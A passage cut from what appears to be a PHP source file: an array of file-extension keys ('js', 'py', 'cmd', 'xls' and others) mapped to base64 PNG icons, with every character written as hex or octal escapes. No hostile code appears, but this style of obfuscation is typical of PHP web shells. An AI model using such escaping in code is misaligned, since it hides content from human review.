x37\105\x32\x46\61\x30\x4a\157\57\x33\64\x51\x6e\x4f\171\x76\167\x65\152\x7a\x45\x47\x71\142\126\165\102\156\x61\x70\162\x66\x67\x53\144\x65\x49\x36\63\x76\121\131\71\x66\x36\110\102\x4f\155\x7a\x73\115\165\x6e\164\125\x62\x73\126\x33\x34\131\123\x32\101\120\110\x53\x46\115\53\x59\152\106\x36\x55\x6a\x50\x67\x53\x31\163\71\164\x31\x44\x66\x70\x76\101\x2b\113\x63\122\123\71\x2b\x62\x56\127\x35\x74\x37\107\x31\150\x47\67\x43\x74\53\x4a\144\130\145\104\x50\x6a\66\115\x77\154\144\x43\x61\120\x4f\x2f\x63\112\155\x2b\172\x47\x6d\x33\x78\116\x62\113\107\x45\127\x46\x74\147\x66\x66\x41\106\x51\x44\x52\101\132\57\x4c\x45\x35\151\x63\x68\125\x44\151\x4e\x5a\144\x54\170\x79\170\102\x50\157\x55\x35\145\112\x53\64\105\130\x6e\127\x38\65\x59\x38\105\155\x4b\64\x73\65\164\147\106\166\112\x6d\63\x4f\x46\x59\x52\165\147\155\x43\x31\106\x48\131\53\101\116\102\x67\71\x57\x42\160\x36\x31\x68\122\x67\114\105\145\x67\x33\x72\x64\x53\x44\x57\x61\165\x43\66\117\120\126\x6c\167\x6a\x44\107\61\x70\125\142\150\x49\x6e\x44\x54\x64\116\x2b\147\x49\64\63\x51\x38\150\x66\125\x36\x67\x7a\x2f\x64\122\x7a\147\x79\102\143\x73\102\x59\156\x32\103\x54\65\x66\x67\122\110\x31\126\110\x5a\x50\x68\x72\156\142\x2b\x38\105\x61\113\62\122\125\x72\112\66\66\170\x47\x78\x70\122\53\60\146\x33\x78\117\127\63\x55\x43\x4a\x37\123\105\124\x67\x78\103\x53\71\152\145\122\x5a\x44\x71\x78\x76\152\132\61\x67\163\131\x59\x35\102\123\x79\153\161\160\126\x4f\162\112\65\130\113\64\162\157\166\x74\67\x6d\106\x6c\64\x48\x48\x6b\x76\x32\x67\116\x57\151\x6e\113\x35\x54\112\x53\x79\x6f\160\115\112\x70\x50\104\x31\x57\x70\61\164\x46\167\x75\x6e\x7a\x6f\x77\164\125\x76\x78\x65\114\172\x61\x32\144\x6b\x35\x2f\x41\x38\x72\121\64\165\165\70\x4b\x30\122\x6e\x67\x41\101\101\101\102\112\122\x55\x35\x45\x72\x6b\x4a\x67\147\147\75\x3d", "\x6a\163" => "\x69\126\102\117\x52\167\x30\113\x47\147\x6f\x41\x41\x41\101\116\123\125\x68\x45\125\x67\101\x41\101\x42\101\x41\x41\101\x41\x51\x43\x41\131\101\101\x41\101\146\x38\x2f\71\x68\101\101\101\101\102\110\116\103\123\126\121\111\x43\101\x67\x49\x66\x41\x68\153\151\101\101\x41\x41\101\154\167\123\106\154\172\x41\101\x41\116\x31\167\101\101\104\144\x63\102\121\151\151\x62\145\101\x41\101\101\x42\x6c\x30\122\x56\150\60\125\x32\71\x6d\144\110\x64\x68\143\155\125\x41\x64\63\144\x33\114\155\154\x75\141\63\x4e\x6a\x59\x58\x42\154\114\x6d\71\x79\132\65\x76\165\x50\x42\157\101\x41\101\107\132\x53\x55\122\102\126\x44\x69\x4e\x6c\x5a\x4b\170\x61\61\116\x52\106\x4d\132\57\x39\63\111\x68\154\150\x51\x6a\146\125\x4b\121\x6f\x67\x32\103\x4f\105\127\156\113\x44\147\113\x33\141\113\x6a\x36\x4f\x42\146\x34\117\112\x67\57\64\x46\x4f\x67\164\x6c\x30\163\114\x67\x4a\127\130\x55\x58\122\x49\x67\x46\x68\x31\x43\121\x5a\61\170\145\102\157\116\121\x49\145\113\x67\64\165\x4a\71\65\65\67\152\x55\113\x74\x39\x70\x6b\x5a\x7a\x34\107\172\146\x39\x7a\x76\156\165\53\145\66\x34\130\x43\64\x4c\151\x49\x39\x56\124\63\x48\x41\x75\x57\x39\172\x30\115\x49\x64\x39\170\x67\x4d\x4d\150\142\x72\126\141\67\62\127\172\151\x76\x66\70\166\163\66\157\171\156\125\66\x5a\x54\103\132\166\121\157\171\170\156\x57\x55\132\115\x63\132\x46\x46\x69\x44\114\x4d\157\161\151\141\x49\x65\x55\105\151\x6d\154\x68\143\167\x41\53\x37\64\x67\x49\160\x6a\132\x77\x67\101\x41\x45\x63\107\130\x5a\131\155\x5a\57\x65\66\166\67\x2f\106\x62\x71\x2f\x42\x70\102\114\x76\x62\165\x4b\x64\x58\x38\x49\x39\141\53\120\64\x46\x2b\120\151\66\157\x69\63\x4c\153\160\x42\123\161\x6d\x35\x67\x59\x4e\x46\150\141\162\150\130\120\x57\x7a\x35\x4a\117\156\66\x46\x75\x37\172\117\66\171\62\x41\147\145\x30\150\x30\x64\121\x2b\x77\x6b\x41\154\x6b\67\x68\x69\x6d\x65\64\155\x4c\x43\172\126\x37\x45\x54\x6e\121\160\101\122\x50\104\67\x67\x46\x2b\x74\x68\156\x33\x66\x32\x79\x43\164\63\171\x4e\144\x76\157\x75\x56\104\x76\146\153\x46\x75\x77\70\x72\x6d\147\120\102\170\150\157\71\x4b\147\103\117\x33\63\60\62\x47\156\123\160\x64\164\157\117\111\65\x39\53\172\x49\104\155\x49\x6e\x67\x64\164\71\151\x65\x67\x51\67\165\x67\x6f\146\x2b\162\152\156\104\60\x41\x46\130\145\x74\147\x35\66\x2f\x4e\122\113\147\x41\x2f\x49\x76\x37\165\112\143\120\x73\x63\x34\116\x72\x4c\x61\115\144\124\x65\150\165\61\155\71\x33\124\171\x41\164\x72\166\x59\x78\132\x75\x77\61\x4b\x67\111\65\x2f\62\x44\111\103\112\x37\x39\x77\167\102\127\61\x6d\x62\x6d\x54\114\120\x4c\x43\114\x34\x45\x45\x4b\122\65\x7a\x6b\170\170\x6a\70\145\x38\x2b\70\144\x59\171\124\x50\143\60\111\x49\122\141\x6a\130\66\170\x76\x6a\x38\x62\x67\63\107\x6f\63\x4f\57\x48\x50\x73\x67\141\x72\126\x61\165\x4e\x47\157\x37\x48\x78\101\x77\x4a\x50\x55\102\71\x68\x75\x59\x6e\123\x41\101\x41\x41\x41\x45\x6c\x46\x54\x6b\x53\165\121\155\x43\103", "\x70\x79" => "\x69\x56\102\117\x52\x77\x30\113\107\x67\157\101\101\x41\x41\116\123\125\x68\x45\x55\147\x41\x41\101\102\101\101\101\x41\x41\x51\103\x41\131\x41\x41\101\101\146\70\x2f\x39\150\101\x41\x41\101\102\110\116\x43\x53\126\121\111\x43\101\x67\x49\x66\x41\x68\x6b\151\x41\x41\101\x41\101\x6c\x77\x53\x46\154\172\101\x41\x41\116\61\x77\x41\x41\104\144\143\102\x51\151\151\142\x65\x41\x41\x41\x41\x42\154\60\x52\126\x68\60\x55\62\71\x6d\144\110\144\150\143\x6d\125\x41\x64\x33\x64\x33\x4c\x6d\154\x75\141\x33\116\152\x59\x58\x42\x6c\x4c\x6d\71\171\x5a\65\166\x75\x50\102\x6f\x41\101\101\x4a\153\x53\125\122\102\x56\104\x69\116\154\x5a\x4f\71\x61\x31\116\122\110\x49\x61\146\145\x2b\66\x35\165\146\x6c\157\62\164\151\x67\x4b\126\x67\170\x55\161\x30\147\x62\125\125\x63\x52\105\121\x33\x63\x66\101\x4c\x48\x4e\60\105\x4b\66\66\103\110\x56\x7a\x63\x58\115\124\112\62\130\x2f\101\146\x38\x44\x4a\x77\126\x59\x71\121\x71\127\127\x4e\x46\x53\142\x4b\x4e\141\x4b\x48\x36\x33\x56\155\x43\x61\71\171\x54\x33\156\63\110\163\x63\x4e\x42\x65\x6c\151\67\67\x7a\x38\172\x37\x38\x33\165\110\x6e\x7a\115\63\x4e\156\x54\142\x47\x33\x49\166\152\x65\x49\114\57\x69\x42\x43\151\x49\x71\127\x38\66\x63\x7a\115\x7a\x46\x54\113\65\x66\x4a\64\161\126\x52\103\x43\x50\x46\x50\x35\x54\151\117\127\x56\x74\142\x59\x32\126\154\132\x56\x45\161\x70\143\141\114\170\x53\112\113\161\121\x52\x34\71\x50\167\x56\x7a\x78\142\146\64\x67\161\x42\x55\150\161\164\x46\144\143\165\156\155\122\x30\67\x31\x44\x43\106\x49\x74\x46\141\x72\x58\x61\165\x49\x69\x69\x69\x43\151\113\163\x4e\x5a\151\x72\x61\130\122\103\x70\151\x76\146\53\x62\125\x6b\131\116\x6b\x38\x67\125\x63\x76\x34\57\x31\101\x4f\x34\x2f\x66\x4a\x77\167\x31\154\x70\66\120\127\x6d\115\167\126\x6f\x4c\x51\x4c\120\x64\131\x57\67\160\x48\x5a\x74\x42\x79\x48\x52\x6c\154\x56\141\156\x69\64\x37\147\122\x36\x43\x78\x54\151\x66\150\145\152\x48\107\x49\114\x58\127\x57\x47\x74\65\x38\x76\111\x4e\x73\66\x2b\57\x30\x4f\170\105\142\x48\132\152\147\153\141\124\x54\152\144\x45\117\x52\66\x74\162\x71\105\x2f\x46\122\113\53\x75\101\66\64\151\x4e\x45\142\x79\120\x77\x49\x57\x6d\164\105\x37\x2f\x7a\160\170\x56\x55\x71\107\x77\x35\114\x47\x78\105\x66\127\x6f\x4b\x76\x79\161\x4e\106\106\150\125\112\163\165\153\115\x47\x62\x59\157\x46\x50\x61\x77\x4d\61\x77\x67\162\116\x35\116\132\x69\x51\x54\x67\x74\103\x67\64\147\x79\165\x39\120\x42\143\x53\71\x54\x34\x68\x49\x2f\x43\143\171\104\162\150\154\167\141\x66\131\70\130\132\123\102\x53\x45\x44\127\167\61\166\66\x61\60\x42\116\x6f\160\x63\x42\170\x53\x50\x6b\x2b\160\x63\131\x38\164\70\66\70\131\171\x6a\130\x78\x75\x6f\165\113\x64\x63\x6c\67\167\164\x6f\114\105\115\125\105\115\144\x73\x46\66\x53\x46\170\162\x63\127\x77\153\x30\165\x54\67\x7a\156\x30\x45\x67\x65\x32\165\x75\x67\x4f\66\104\141\163\116\125\x43\63\121\130\x68\x45\x57\x71\x50\172\107\x2b\102\x36\101\x6d\165\x6e\x6a\166\117\146\x75\143\152\x4f\x37\157\x66\x32\116\130\130\x42\162\117\x4d\x64\x62\132\x6f\164\152\x62\64\x73\144\127\x69\x6f\130\62\53\x69\x54\x4b\x72\161\157\x77\x64\117\x72\166\x39\x67\165\x48\x53\111\x4c\143\156\x4c\167\103\147\154\62\x59\x68\60\x77\x63\171\x68\141\x63\x6a\x59\x69\116\157\x66\x46\x63\105\x67\x31\x66\157\x6e\172\150\102\170\x75\57\146\114\x76\x67\x7a\x4f\163\x35\104\114\157\x74\x6a\101\x72\114\x70\x41\155\x76\116\x6f\x38\124\x42\x55\x2f\x70\x32\x48\70\x4e\x4e\x35\x52\115\53\x45\127\x69\164\153\x56\x49\155\101\x6e\144\x34\x6b\x6c\x72\154\101\144\x4b\172\x78\x46\132\151\61\x41\112\151\170\x33\156\x53\66\143\112\146\x5a\127\x4d\x4d\125\153\160\x5a\161\x31\121\161\x6f\x32\x4e\152\131\x33\151\145\102\64\104\115\x37\66\x50\57\x38\112\x31\x74\124\71\x51\162\141\x36\x32\160\126\x71\x74\111\113\127\163\x79\x6c\x38\x74\116\x31\x65\x76\x31\145\71\126\x71\71\x63\x41\57\x76\145\114\x76\53\x4c\x35\x66\x48\170\147\131\x6d\x50\x6f\112\112\163\103\x47\x51\x50\x43\147\x35\x2b\x77\101\x41\101\x41\101\123\x55\x56\117\122\x4b\65\103\131\x49\x49\75", "\x64\x69\172" => "\151\126\102\x4f\x52\x77\x30\113\x47\x67\x6f\101\101\101\x41\116\123\125\150\105\x55\x67\x41\101\101\x42\x41\x41\101\x41\x41\121\x43\x41\131\101\101\101\101\x66\70\57\71\150\x41\x41\x41\101\102\x48\x4e\103\x53\126\121\x49\103\x41\x67\x49\146\101\150\x6b\x69\x41\101\x41\101\x41\154\x77\123\x46\154\x7a\x41\x41\101\116\x31\x77\101\101\104\144\143\102\x51\151\151\142\145\x41\x41\x41\101\102\x6c\x30\x52\x56\150\x30\125\62\x39\x6d\x64\x48\x64\x68\143\x6d\125\x41\144\63\x64\63\114\155\x6c\165\x61\x33\116\152\131\130\102\154\x4c\155\71\171\132\x35\x76\165\x50\102\157\101\101\x41\x44\71\123\125\122\102\x56\104\151\x4e\172\126\x43\x72\x6a\x6f\122\101\x45\x4b\x79\144\144\x49\112\101\x49\x45\132\147\115\x53\x63\x35\104\x33\64\x54\106\x46\x39\172\53\170\146\67\x4e\x51\x67\x4d\104\x6f\110\x42\x7a\x61\x48\x41\131\120\x6d\106\x6d\132\67\150\170\111\130\x4e\x37\157\131\150\x68\x37\164\x4f\x4b\165\x6e\x30\x6f\61\112\126\154\67\67\166\162\70\170\x38\x64\70\65\x39\x34\153\121\112\111\x52\121\x52\x66\126\63\141\x74\x6c\126\x4a\x6b\x71\122\x78\110\x45\115\x49\70\141\144\x6e\65\x78\171\x57\x5a\143\x45\x38\x7a\71\53\x6b\164\x55\x36\x6c\154\x4e\x42\141\x6e\170\105\101\113\123\130\107\143\125\x7a\x4a\x57\147\x74\162\67\x61\154\156\x41\x4e\x6a\x2b\x69\112\x6d\170\162\165\166\x75\125\144\144\61\x41\x49\x41\x38\x7a\63\146\63\172\x41\x77\x79\170\156\x67\112\x74\162\x6c\x76\x62\64\167\102\x57\127\x75\71\102\61\x6d\127\110\x52\111\143\x57\161\151\x71\x36\164\x47\x58\132\x65\155\61\111\104\x61\x43\144\x78\122\106\x38\127\x4a\154\104\x38\172\x73\x56\x2f\101\x38\70\x31\x6e\x34\110\x77\124\145\104\112\x71\x6d\x65\122\172\127\144\x58\x32\x63\x67\124\105\107\x52\x50\124\103\57\x68\x7a\x69\x6e\x67\160\155\x2f\154\126\x41\122\113\x4e\x53\x43\154\x70\162\x62\x39\162\x76\x30\x46\160\104\113\x51\x55\x69\x47\x69\x6b\115\167\x39\x73\60\124\146\144\x68\107\104\x35\62\x6a\x58\157\x71\103\111\x49\160\x69\161\x4c\x62\104\x79\126\x4a\x48\161\x33\x33\x38\121\112\x75\x41\101\x41\101\101\105\x6c\x46\124\x6b\x53\x75\x51\155\103\103", "\x63\155\144" => "\x69\126\x42\x4f\x52\167\60\113\x47\x67\x6f\x41\x41\101\101\x4e\x53\x55\150\105\125\147\101\x41\x41\102\101\101\x41\x41\101\121\103\x41\x59\101\101\101\x41\x66\x38\57\71\x68\101\x41\x41\101\102\x48\116\103\123\x56\121\111\103\x41\x67\x49\146\101\x68\x6b\x69\x41\x41\101\x41\101\154\167\123\106\x6c\172\101\x41\101\x4e\61\x77\101\x41\x44\x64\x63\x42\121\151\x69\142\x65\x41\x41\x41\x41\102\154\60\x52\126\x68\60\x55\62\x39\x6d\144\x48\x64\x68\x63\155\125\101\x64\63\x64\x33\x4c\x6d\154\x75\x61\63\x4e\x6a\131\x58\x42\x6c\x4c\155\71\x79\132\x35\166\165\x50\x42\157\x41\x41\x41\x48\151\x53\125\122\x42\126\104\151\116\x6c\132\113\x39\141\61\116\150\106\115\x5a\57\71\63\x33\x50\57\x51\x67\160\x36\130\104\106\153\151\62\114\114\x6a\132\106\144\113\x6f\x45\x57\160\102\131\57\x34\126\147\57\x6f\x4e\x53\x46\x50\165\122\x62\x69\x4b\165\156\x61\x57\x45\161\150\x51\x52\143\x5a\144\117\x51\x72\x6c\144\110\113\112\x4c\153\151\x6b\102\66\x64\160\106\67\126\101\112\171\x66\x75\53\61\x79\106\146\x48\130\163\120\x6e\117\130\101\53\x5a\63\x6e\x50\x44\170\145\161\x39\127\x71\107\x6d\115\117\156\x48\x4d\x72\x5a\x43\151\154\126\x46\x74\x45\x64\x72\x79\172\163\x37\116\62\161\x56\x51\161\x4c\171\x30\x74\x6f\132\123\x36\60\x62\112\172\152\157\x75\114\103\x38\67\x50\172\172\163\171\x48\101\x37\x4c\x63\122\x77\172\110\101\x36\x7a\103\x43\x43\117\x59\x33\161\x39\130\x6c\155\x73\x74\144\x52\x71\x4e\x5a\x49\x6b\171\x51\x52\x59\x57\61\x74\152\143\x33\x4d\x54\132\x59\172\x4a\166\x41\x79\121\x4a\x41\156\x47\107\116\x52\157\116\x4a\157\x4e\x43\x34\x56\x43\112\163\150\157\116\105\x4a\132\x61\62\145\x44\124\x71\144\x44\x6f\x39\x47\147\125\103\152\147\x65\x51\x71\164\116\x46\x6f\x4c\x6f\156\x31\x45\53\x32\x67\x74\141\x4b\130\170\x76\x4c\x48\132\x31\164\162\x78\103\x39\117\161\x50\66\x75\172\165\x76\161\111\144\x72\x76\104\x66\x6d\117\x66\127\x2f\x46\x74\x6f\151\x42\x48\x46\105\x34\x36\171\102\x45\107\117\x61\x49\x67\111\147\x77\x69\x6a\104\x47\x49\115\x51\141\154\116\x4b\113\106\110\x36\62\146\61\x47\164\x31\164\x70\x35\x76\60\144\152\146\157\x31\x67\x73\x38\166\162\x56\107\172\167\x38\101\x46\x4a\x53\x30\152\124\x46\x4f\x59\144\114\x37\x52\172\x67\x53\x34\102\157\x6f\126\113\x70\x73\114\x33\172\x6b\166\x4a\x4b\x6d\x61\x50\155\x4f\71\64\146\110\122\x4d\106\117\132\147\101\111\x4d\127\x6c\142\x67\170\167\x31\167\x43\151\102\122\x47\x66\64\x34\70\146\53\x50\x7a\x70\x43\x39\163\166\x39\162\x6a\x38\143\64\x6c\x53\x51\150\152\153\70\x4c\171\112\147\165\x6c\x31\132\x37\x44\130\101\121\103\x69\x68\x4d\146\162\x47\x2f\172\x39\x66\x59\x6d\x49\x34\120\163\150\x79\146\x64\166\114\103\172\153\x5a\x78\x36\164\120\x6c\x67\146\x58\x37\x59\x61\x4d\x37\x69\141\x41\66\157\142\126\x55\x36\x2b\156\166\104\166\x31\x78\x56\161\x34\162\170\x57\155\x76\x76\63\x48\x71\113\125\156\x6b\126\x38\x4b\164\60\x36\x79\x35\117\156\61\124\x6e\147\70\120\101\x74\125\x52\122\x6c\171\x73\102\147\115\x4b\104\132\x62\103\111\x69\60\152\163\x39\x50\142\x32\67\166\x4c\x79\x4d\x37\57\x73\x33\104\x6c\x43\x33\x32\x30\x56\105\145\160\x4c\120\65\x33\146\67\x2f\x66\65\102\164\x39\x75\x39\153\60\x56\x42\107\x49\142\71\x78\x63\x58\x46\x33\x66\x2b\x4f\53\116\x2f\x34\106\165\x5a\127\x4a\167\101\x41\x41\101\x42\112\122\x55\x35\105\x72\x6b\112\x67\x67\x67\75\75", "\x78\155\154" => "\x69\126\x42\117\x52\167\x30\x4b\x47\147\157\x41\101\x41\101\116\x53\125\150\105\125\147\101\101\x41\102\x41\x41\x41\101\101\x51\103\101\131\101\101\x41\101\x66\70\x2f\x39\150\x41\101\101\101\x42\110\x4e\x43\x53\126\121\x49\103\101\147\x49\x66\x41\150\x6b\151\101\101\101\101\101\x6c\167\123\106\154\172\101\101\101\116\61\x77\101\x41\104\144\143\102\x51\151\151\142\x65\x41\x41\101\101\102\154\x30\122\x56\x68\60\125\62\71\155\x64\110\x64\x68\x63\155\x55\101\x64\x33\x64\x33\114\x6d\154\165\141\63\116\x6a\131\x58\x42\x6c\114\155\71\171\132\65\x76\x75\x50\102\x6f\101\x41\101\110\107\123\125\122\x42\x56\x44\151\x4e\x6c\x5a\x4c\x50\x53\x6c\164\150\105\115\x56\x2f\x39\70\x74\x33\143\x34\120\x42\x58\x4a\x74\142\123\x43\x45\147\62\122\121\153\x4e\116\x33\x34\x44\x43\x35\143\x75\117\147\x4c\x2b\102\124\x31\114\x58\167\101\130\66\x52\67\103\x65\x67\155\x52\145\105\x32\x74\x48\x41\152\113\x73\121\x2f\x70\x43\165\104\x42\x73\x6e\63\x35\x30\64\x58\115\124\145\116\114\141\x55\x5a\155\x4d\125\115\x5a\x38\66\x63\117\125\x7a\x51\x36\57\126\x32\156\110\x4f\x48\x65\x5a\x35\57\132\111\x56\x51\x53\x71\126\x61\x36\x38\x39\102\164\x39\164\x4e\127\66\x31\127\x70\71\x46\x6f\x6f\112\x54\66\162\x2b\105\70\x7a\170\155\116\x52\x6c\x78\146\x58\63\57\124\x78\x70\x68\x4f\153\151\x51\x59\131\x31\x59\x52\121\112\x49\153\132\106\x6e\127\x30\x64\65\67\166\120\x63\162\104\121\120\115\x35\x37\x52\172\x44\150\x46\x35\x70\x56\106\x41\x42\x51\101\x45\x45\x30\x4e\147\120\130\x6d\164\125\166\124\155\64\x5a\x78\x44\127\127\163\x52\x6b\123\114\x4c\112\61\145\157\165\x33\x46\122\x56\x37\x35\x38\122\57\x66\166\x55\130\x64\x6a\171\151\144\x58\x53\61\x68\x72\114\x63\160\67\130\x7a\x53\151\67\151\x58\150\53\123\62\x2b\166\152\x5a\x54\71\127\172\x52\x50\60\x61\131\144\x67\x4e\x66\x58\x79\x4d\x38\x76\x79\x58\161\x58\150\x5a\64\x37\x7a\61\161\146\153\x4a\x30\x66\x45\106\x34\116\165\x52\170\x66\65\163\x38\x4b\x69\x45\x69\150\x50\61\x37\57\116\163\161\x50\161\x36\x51\x52\x79\125\145\x39\67\143\x4a\172\64\x5a\105\x78\x78\145\x49\x43\115\66\x35\x68\121\146\x42\x30\170\x51\102\x70\x42\121\125\156\x6f\122\146\x68\65\152\117\165\x34\126\x48\160\x51\103\x42\x47\x66\141\106\157\106\101\167\x32\144\63\x43\x62\x6d\x36\x77\146\156\x51\113\125\x30\143\x77\x66\153\x5a\x6e\120\x35\x6e\117\103\141\141\117\x39\x61\116\124\67\x4f\131\x47\x6b\x39\62\164\120\x77\x6c\x45\x68\x4d\x6c\x65\107\x39\165\x4d\x55\124\143\120\x6c\110\x74\104\142\x4b\165\117\x72\x35\x59\122\105\144\x54\x4e\101\x37\131\x5a\115\71\x6c\162\106\57\151\154\105\53\x62\170\71\117\153\104\x67\x66\x57\x49\126\x6f\x76\x74\x67\107\166\x57\x73\113\x30\x33\70\102\166\x32\x72\x77\x51\101\157\x68\126\65\x73\57\132\x53\123\x4e\x48\152\x46\141\x34\x67\163\x4e\x61\151\x74\126\67\160\x45\x35\61\x7a\115\167\53\x30\x31\154\x6d\x61\x70\150\150\x6a\x6c\160\x37\x6b\130\62\x6d\x4d\x49\125\x31\x54\164\x4e\x61\132\162\154\x61\x72\102\x34\x50\x42\64\114\104\x66\67\67\x39\146\x52\125\105\125\122\x59\115\64\x6a\x67\x39\x2b\101\131\x30\104\x5a\x34\x63\x70\101\x55\x52\64\101\101\x41\x41\x41\x45\x6c\106\x54\x6b\123\165\121\x6d\103\103", "\141\166\x69" => "\x69\x56\x42\x4f\122\x77\60\113\x47\147\157\x41\101\x41\x41\x4e\x53\x55\150\105\x55\147\x41\101\101\102\x41\101\x41\x41\101\x51\x43\x41\x59\x41\x41\101\101\146\70\x2f\71\150\x41\x41\x41\101\102\x48\116\x43\123\x56\121\111\103\x41\x67\111\146\101\x68\153\151\x41\x41\x41\101\x41\x6c\167\123\x46\x6c\x7a\101\x41\x41\x4e\61\167\101\x41\104\144\143\102\121\151\151\x62\145\x41\101\x41\101\102\154\60\x52\126\150\x30\x55\x32\x39\155\144\x48\x64\150\143\155\125\101\144\63\144\x33\114\155\x6c\165\141\63\x4e\152\x59\130\x42\154\x4c\155\71\x79\x5a\x35\166\165\x50\102\157\x41\x41\101\x4a\x67\123\x55\122\102\126\x44\151\x4e\x6c\x5a\x4f\71\x62\150\164\x48\x46\x49\x57\x2f\x6d\x5a\62\144\63\x52\126\130\x4a\x45\x73\x31\150\102\115\131\x43\121\164\x46\x68\x68\x59\x70\x31\121\147\122\x38\x67\x35\x38\103\x62\x6d\171\63\x38\x4a\x75\x72\x4a\x63\x49\x38\150\103\x42\155\161\x30\112\x78\x45\x56\x41\107\x38\147\x50\x31\113\151\x55\122\105\x68\x63\172\160\62\146\106\x4c\115\112\x62\110\x65\53\x37\127\104\165\156\x48\x4f\53\115\53\x72\151\x34\165\112\x6e\x37\57\60\x62\160\144\x53\114\x6c\x39\57\70\x52\x64\106\125\x36\x4d\160\x53\x32\102\112\x56\107\147\103\x53\145\111\111\x54\x34\164\x34\122\144\x6e\166\145\57\146\60\164\x4b\141\130\146\x6a\124\x47\x76\x7a\x47\66\x33\x65\x39\166\x33\x2f\143\x6e\x6c\x35\x53\x55\x2f\120\152\x2b\153\163\x42\132\144\154\145\152\123\157\x41\x71\x64\106\64\122\x49\106\105\57\x63\103\70\105\x35\146\155\151\146\x63\x58\x56\61\71\145\114\163\67\x4f\171\164\x38\144\x36\x66\x72\x46\x59\162\67\165\x37\x75\145\101\x6a\x76\163\142\x57\154\x71\120\x4c\162\123\157\70\114\131\163\167\161\71\x6f\111\142\110\102\x2f\x2f\x64\113\170\x57\x4b\67\172\x33\112\x2b\162\60\x39\104\x53\164\61\62\x76\117\172\x38\x2f\65\x6d\162\x6d\53\x76\x71\x62\162\117\164\124\x78\x38\x58\107\x61\x7a\127\131\x41\130\112\63\70\x51\x31\62\x58\x61\107\166\122\160\131\x62\x52\x41\x69\105\x53\112\x52\113\144\x59\170\x69\x45\171\57\x66\120\x41\114\x69\x2f\x76\60\144\x37\67\x2b\x6e\x37\x48\150\x48\150\x63\x46\112\123\x74\x7a\130\x4e\164\113\x61\132\x54\124\x69\131\x74\x78\x7a\x4d\127\x35\162\132\150\x47\132\x61\x55\67\x63\x31\x68\65\115\123\105\141\110\166\145\67\172\63\107\117\x38\71\x58\144\x63\102\157\x4b\165\x53\x6f\162\131\x55\x54\x5a\61\x70\152\x42\123\151\x65\115\112\x75\x50\x2b\131\x52\x45\102\107\x36\x72\163\x4e\67\152\x78\131\122\x31\165\x73\x31\111\x6f\111\x71\x43\160\x51\x70\x30\113\127\150\161\103\170\x6c\145\x30\104\x5a\x48\x6c\102\x55\116\x6c\x4d\170\102\141\x6f\x6f\x2b\x50\x53\117\x38\144\66\x7a\130\x43\66\172\61\66\x52\111\x4d\x5a\106\x53\111\x73\127\x4d\67\156\70\113\x4b\x5a\106\151\147\x70\x51\x51\x45\132\x62\x4c\132\x56\x62\x67\x76\x57\x65\x7a\x32\123\101\151\x6d\x62\x55\111\x63\x58\x44\x34\x70\x77\110\x5a\120\x69\114\142\122\x2f\172\124\121\x42\x78\143\120\150\x4f\120\x69\x4c\104\132\x62\x48\111\x47\x49\121\x51\x57\151\60\125\x4f\145\61\x43\x67\x46\115\x53\105\110\151\63\154\x49\x6f\x57\x63\x77\x39\x34\x52\x42\x6f\x64\111\131\162\x46\131\x45\x45\x4c\x49\106\155\x35\165\x62\152\x67\x36\117\x6d\114\x2f\x6c\x4c\103\x6a\x64\107\x32\x4b\x7a\64\157\x55\x66\123\101\x36\167\121\x32\103\151\117\114\x32\x39\160\142\65\x66\111\x35\161\x32\172\x5a\132\141\67\53\161\x52\120\53\116\x63\171\x34\x72\x32\x47\66\x33\x54\x4b\x64\124\146\x6c\x74\116\x71\112\163\113\142\125\x74\x30\x57\130\172\x78\x46\x37\113\103\x59\142\146\x6e\x70\x31\70\x65\x65\x58\150\x34\157\107\153\x61\x54\101\x6a\150\x51\61\126\126\63\62\x75\164\x6d\x52\x33\x57\165\x51\117\x31\122\144\163\x53\132\143\x59\115\122\166\x6c\x68\143\x46\122\x47\111\x58\x4a\x48\x56\126\x57\153\x6c\x44\66\131\107\x4f\120\162\x47\x4f\x4d\142\x70\x64\122\63\166\57\x37\x78\150\114\x59\x65\x58\x52\160\x30\x57\130\x36\x68\x59\x4b\x54\x6b\x48\115\x34\65\x55\153\157\x66\164\x64\141\166\57\x77\x57\x50\x37\156\117\x6e\x58\120\x59\125\x4e\147\101\x41\101\101\102\x4a\122\x55\x35\x45\x72\153\x4a\147\147\x67\75\x3d", "\x78\154\163" => "\151\x56\x42\x4f\x52\x77\60\x4b\107\147\157\x41\x41\101\x41\x4e\123\125\x68\105\125\x67\101\x41\x41\x42\x41\x41\x41\x41\x41\x51\x43\101\x59\x41\x41\101\101\x66\x38\x2f\x39\x68\x41\101\101\101\x42\x48\116\103\x53\x56\121\111\x43\x41\x67\111\146\101\150\153\151\x41\101\101\101\x41\x6c\x77\x53\106\154\x7a\101\101\x41\x4e\x31\167\x41\x41\104\x64\143\102\x51\x69\151\142\x65\x41\x41\101\101\x42\x6c\60\122\126\150\x30\125\62\x39\x6d\144\110\x64\150\x63\155\x55\x41\144\63\144\x33\x4c\x6d\x6c\x75\x61\63\116\x6a\x59\130\102\x6c\114\155\71\x79\132\x35\166\165\x50\102\157\x41\x41\x41\107\x55\123\125\x52\102\x56\104\x69\x4e\x6a\x5a\115\170\141\x39\x74\x41\107\111\142\146\171\101\145\x4f\101\157\61\x69\165\x46\163\x45\112\x6d\101\x35\66\x52\x53\66\62\123\x5a\114\x66\x6b\124\110\57\111\160\x43\x4f\x35\142\x51\111\x54\x38\x68\145\x35\146\x2b\150\103\x37\x39\x41\67\x5a\130\102\x5a\x6f\x30\x4e\x68\155\x6b\122\x63\x51\113\160\112\101\127\64\57\x76\x75\x76\147\x7a\x4e\130\123\x54\142\x53\130\157\x67\x45\x4a\x39\60\67\x2f\117\x38\112\67\x54\170\67\130\166\66\131\x5a\x4c\120\x54\x73\165\x37\120\x79\x45\101\x48\x42\x38\160\127\107\x76\x78\62\147\161\103\x49\102\126\x43\x66\x4e\172\x34\x66\120\x62\x6a\x37\71\x61\142\126\162\152\142\152\x74\x46\x6f\102\x48\x68\57\x71\115\x44\x4d\114\62\64\155\111\165\x52\65\152\x71\x49\157\172\x6b\126\x52\x2f\147\x37\146\164\x66\x64\x78\130\x63\x78\150\x6d\x61\x48\61\x44\x6f\152\x6f\126\x59\x4d\64\x6a\x70\106\x6c\62\x59\x45\x67\x59\63\x42\x37\142\62\101\x66\x71\x63\167\115\132\x73\132\x77\x4f\x41\121\101\x4b\x4b\x55\167\x6d\70\63\70\x52\161\x55\125\x75\x74\60\x75\155\x42\156\107\x47\101\x68\104\x42\x44\112\x50\156\126\63\101\131\104\x44\167\163\171\122\112\x61\156\x52\130\x6b\x59\147\147\151\x41\171\x71\132\53\131\x43\160\x74\x4f\x70\112\x31\x